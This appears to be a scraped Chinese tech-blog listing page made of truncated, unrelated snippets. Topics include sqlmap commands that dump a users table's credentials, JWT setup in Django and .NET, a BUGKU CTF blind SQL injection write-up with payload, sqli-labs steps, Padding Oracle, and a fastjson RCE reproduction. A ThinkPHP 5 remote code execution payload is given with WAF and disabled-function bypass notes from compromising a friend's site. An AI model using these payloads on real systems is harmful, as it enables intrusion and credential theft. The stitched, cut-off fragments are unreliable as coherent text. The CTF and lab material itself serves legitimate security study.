payload

sqlmap参数介绍

匿名 (未验证) 提交于 2019-12-03 00:09:02
如果存在sql注入,获取数据过程 获取数据库 sqlmap -u “ http://192.168.120.249/baji/vul/sql/show1.php?id=1 ” --dbs 获取当前数据库 sqlmap -u “ http://192.168.120.249/baji/vul/sql/show1.php?id=1 ” --current-db 获取数据库中的表 sqlmap -u “ http://192.168.120.249/baji/vul/sql/show1.php?id=1 ” -D baji --tables 获取数据库中表的列 sqlmap -u “ http://192.168.120.249/baji/vul/sql/show1.php?id=1 ” -D baji -T users --columns 获取表中的数据 sqlmap -u “ http://192.168.120.249/baji/vul/sql/show1.php?id=1 ” -D baji -T users -C users “username ,password” --dump 显示5条数据 sqlmap -u “ http://192.168.120.249/baji/vul/sql/show1.php?id=1 ” -D baji -T users -C users

Django JWT

匿名 (未验证) 提交于 2019-12-03 00:09:02
JWT """ 1) jwt = base64(头部).base(载荷).hash256(base64(头部).base(载荷).密钥) 2) base64是可逆的算法、hash256是不可逆的算法 3) 密钥是固定的字符串,保存在服务器 """ drf-jwt http : //getblimp.github.io/django-rest-framework-jwt/ pip install djangorestframework - jwt from django . urls import path from rest_framework_jwt . views import obtain_jwt_token urlpatterns = [ path ( 'login/' , obtain_jwt_token ), ] """ postman发生post请求 接口:http://api.luffy.cn:8000/user/login/ 数据: { " username ":" admin ", " password ":" admin " } """ import datetime JWT_AUTH = { # 过期时间 'JWT_EXPIRATION_DELTA' : datetime . timedelta ( days = 1 ), # 自定义认证结果

netcore里使用jwt做登陆授权

匿名 (未验证) 提交于 2019-12-03 00:02:01
1 什么是JWT?   JWT是一种用于双方之间传递安全信息的简洁的、URL安全的表述性声明规范。JWT作为一个开放的标准( RFC 7519 2 JWT 的应用场景是什么?   身份认证在这种场景下,一旦用户完成了登陆,在接下来的每个请求中包含JWT,可以用来验证用户身份以及对路由,服务和资源的访问权限进行验证。由于它的开销非常小,可以轻松的在不同域名的系统中传递,所有目前在单点登录(SSO)中比较广泛的使用了该技术。 信息交换在通信的双方之间使用JWT对数据进行编码是一种非常安全的方式,由于它的信息是经过签名的,可以确保发送者发送的信息是没有经过伪造的 JWT包含了使用.分隔的三部分: Header 头部 Payload 负载 Signature 签名 其结构看起来是这样的Header.Payload.Signature Header Payload   Token的第二部分是负载,它包含了claim, Claim是一些实体(通常指的用户)的状态和额外的元数据,有三种类型的claim: reserved public private Signature   创建签名需要使用编码后的header和payload以及一个秘钥,使用header中指定签名算法进行签名。例如如果希望使用HMAC SHA256算法,那么签名应该使用下列方式创建: HMACSHA256(

BUGKU login3(SKCTF)

匿名 (未验证) 提交于 2019-12-03 00:02:01
进入页面 先输入1 和 1 发现 提示 用户名错误 猜测输入用户名 admin 和 1 提示 密码错误 继续猜测输入用户名 admin' 和1 提示 用户名错误 继续猜测输入 用户名 admin'#和1 提示 密码错误 说明 逻辑是先检查用户名是否正确再匹配密码,当页面出现密码错误时,说明用户名内容正确 综上 用户名输入存在注入 输入admin' # 提示非法 说明 空格被过滤 空格可以使用 () 代替,=可以使用 <> 代替 经测试空格 and union = ,逗号 被过滤 结合题目考虑使用布尔盲注 上网查询 https://blog.csdn.net/zpy1998zpy/article/details/80667775 通过爆出数据库名,但是 Information 被过滤了,只能猜表名和字段名,搜索WP得知 表名admin,字段password 下面是脚本 import sys import requests from bs4 import BeautifulSoup import re url_start = 'http://123.206.31.85:49167/index.php' sql_flag = "admin'^(select(ascii(mid((select(password)from(admin))from({0})))<>{1}))^0#" sql

sqlmap工具的使用

独自空忆成欢 提交于 2019-12-02 23:59:00
sqlmap工具的使用: sql注入工具:明小子,啊d、罗卜头、穿山甲、sqlmap等等 开源自动化注入利用工具,支持的数据库有12种,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中他是最好的!! 支持的注入类型:bool、时间、报错、联合、、堆查询、内联 可以获取用户名、密码、权限、角色、数据库(表、、字段、内容) 可以爆破识别密文数据 getshell 命令执行 脱库/删除 目录介绍: doc介绍文档 extra 是sqlmap额外的功能运行CMD执行命令 lib是sqlmap核心功能代码 pluigifins 包含12种数据库识别程序 data 存放一些工具过程中使用的工具或命令 procs 包含了mssql mysql oracle postgresql shell 远程命令和后门 txt 表名列名、ua字典 udf 存放攻击载荷payload xml 存放检测的脚本 tamper 包含各种绕waf的处理脚本 thirdparty包含了第三方插件,颜色,优化等 sqlmap工作流程 (1)、初始化 (2)、开始检测 0>检测之前是否注入过(会把检测的url默认存放在家目录中.sqlmap下的output --output-dir参数可以指定存放的目录) 1>解析url,判断该url是否可访问 2>检测是否有WAF sqlmap -u“目录url” -

浅析 Padding Oracle Attack

匿名 (未验证) 提交于 2019-12-02 23:57:01
在AES加密算法中分有 AES-128 、 AES-192 、 AES-256 ,而每种对加密数据的分块长度又各有要求,分别为 16byte 【 128 位、 24byte 【 192 位和 32byte 【 256 位。 在AES加密的CBC模式中,若加密数据的长度模除分块长度而有余,则会在末尾填充一组数据。 即 (pad_length-len(data)%pad_length)*hex(pad_length-len(data)%pad_length) 。 若模除后为零,则直接填充一组如上公式所示的数据。 123456789101112 数据:south补齐后的数据:south/x13/x13/x13/x13/x13/x13/x13/x13/x13/x13/x13数据:southseast补齐后的数据:southseast/x06/x06/x06/x06/x06/x06数据:southseastisacat补齐后的数据:southseastisacat/x10/x10/x10/x10/x10/x10/x10/x10/x10/x10/x10/x10/x10/x10/x10/x10 首先是对明文分组,根据选择的模式所要求的分组长度来分组,填充数据块。 接着初始化一个 IV 【初始向量和 Key 【秘钥。 再将第一组明文和 IV 异或,后同 Key 进行块加密。

记一次有趣的tp5代码执行

匿名 (未验证) 提交于 2019-12-02 23:55:01
朋友之前给了个站,拿了很久终于拿下,简单记录一下。 漏洞点:tp 5 method 代码执行,payload如下 POST /?s=captcha _method=__construct&method=get&filter[]=assert&server[]=1&get[]=1 无回显,根据payload 成功判断目标thinkphp 版本应为5.0.23 有waf,waf拦截了以下内容 php标记: <?php <?= <? php 函数: base64_decode file_get_contents convert_uuencode 关键字: php:// linux disable_function禁用了以下函数 passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server php 7.1.7 (虽然 assert 函数不在disable_function中,但已经无法用 call_user_func 回调调用) 现在tp 5 method代码执行开发出来的一些思路,不外乎如下两种: 1

django-jwt token校验源码简析

匿名 (未验证) 提交于 2019-12-02 23:49:02
一. jwt token校验源码简析 1.1 前言   之前使用jwt签发了token,里面的头部包含了加密的方式、是否有签名等,而载荷中包含用户名、用户主键、过期时间等信息,最后的签名还使用了摘要算法进行不可逆的加密。   同时检验签名时还需进行签名的碰撞检测,判断该token是否合法。jwt提供了一个校验token的认证方法,使用时只需要CBV中进行局部身份验证配置即可。使用如下: from rest_framework_jwt.authentication import JSONWebTokenAuthentication class 类名(JSONWebTokenAuthentication): authentication_classes = [JSONWebTokenAuthentication]   不过自身的校验还存在一些缺陷,不能完全满足的需求,这时候我们可以继承该类后重写其中校验token的方法,具体是什么方法,我们接着往下看。 1.2 jwt的authenticate方法   以前走过APIView的源码,从源码得知身份校验走的是类中的authenticate的方法。定位至JSONWebTokenAuthentication,依据属性的查找顺序找到authenticate方法:   可以看出主要的方法是以上三个,接下来一一点进去瞅瞅(遵循属性查找顺序),首先是

sqli-labs1-10基础掌握

匿名 (未验证) 提交于 2019-12-02 23:49:02
00x01 基于错误的GET单引号字符型注入 首先and 1=2判断是否为数值型sql注入,页面正常,不是 Order by查询字段数,查出来是3 发现敏感字段user,password,爆出字段内容union select 1,group_concat(user),group_concat(password) from users 00x02 基于错误的get数值型 1.输入?id=3 and 1=2报错,and 1=1不报错,说明此处是数值型注入 2.直接插入sql语句,后面查询过程跟第一关相似。 00x03 基于错误的-GET单引号变形字符型注入 1.输入?id=3’报错,从报错内容看出可能存在)闭合,那么试试’)--+发现正常显示,说明此处是用(‘’)的方式闭合字符串的字符型注入 2.sql查询爆数据详细见第一关。 00x04 基于错误的GET双引号字符型注入 1.输入?id=3’不报错,输入”报sql错误,错误信息里面看见有括号闭合,那么加上“--+发现页面正常显示,说明这是用(“”)闭合的字符串型注入 2.后面操作详见第一关。 00x05 双注入GET单引号字符型注入 因此无法使用联合查询注入 接着我们在url中输入?id=3’页面出现sql报错语句,加上--+,页面正常显示,说明是单引号闭合字符型注入。 页面出现sql语句报错,在这里我们可以使用一种新的注入方式:

fastjson&lt;1.2.47 RCE 漏洞复现

匿名 (未验证) 提交于 2019-12-02 23:49:02
这两天爆出了 fastjson 的老洞,复现简单记录一下。 首先使用 spark 搭建一个简易的利用 fastjson 解析 json 的 http server。 package cn.hacktech.fastjsonserver; import com.alibaba.fastjson.JSON; import static spark.Spark.*; public class Main { public static void main(String[] args) { get("/hello", (req, res) -> "spark server start success"); post("/test", (req, res) -> { String payload = req.body(); JSON.parse(payload); return "json payload:" + payload; }); } } 编译出来后,启动这个 jar,在 /test 这个 post 点即可 post json payload。 然后这里分两类: 如果只是想检测漏洞是否存在,可以使用 dnslog 去检测 利用的话,需要自己起一个恶意的 ldap 或者 rmi 服务 目前测试出来的是 rmi 有版本限制(据说是可能是 8u113 ),打不出来;ldap 是可以的。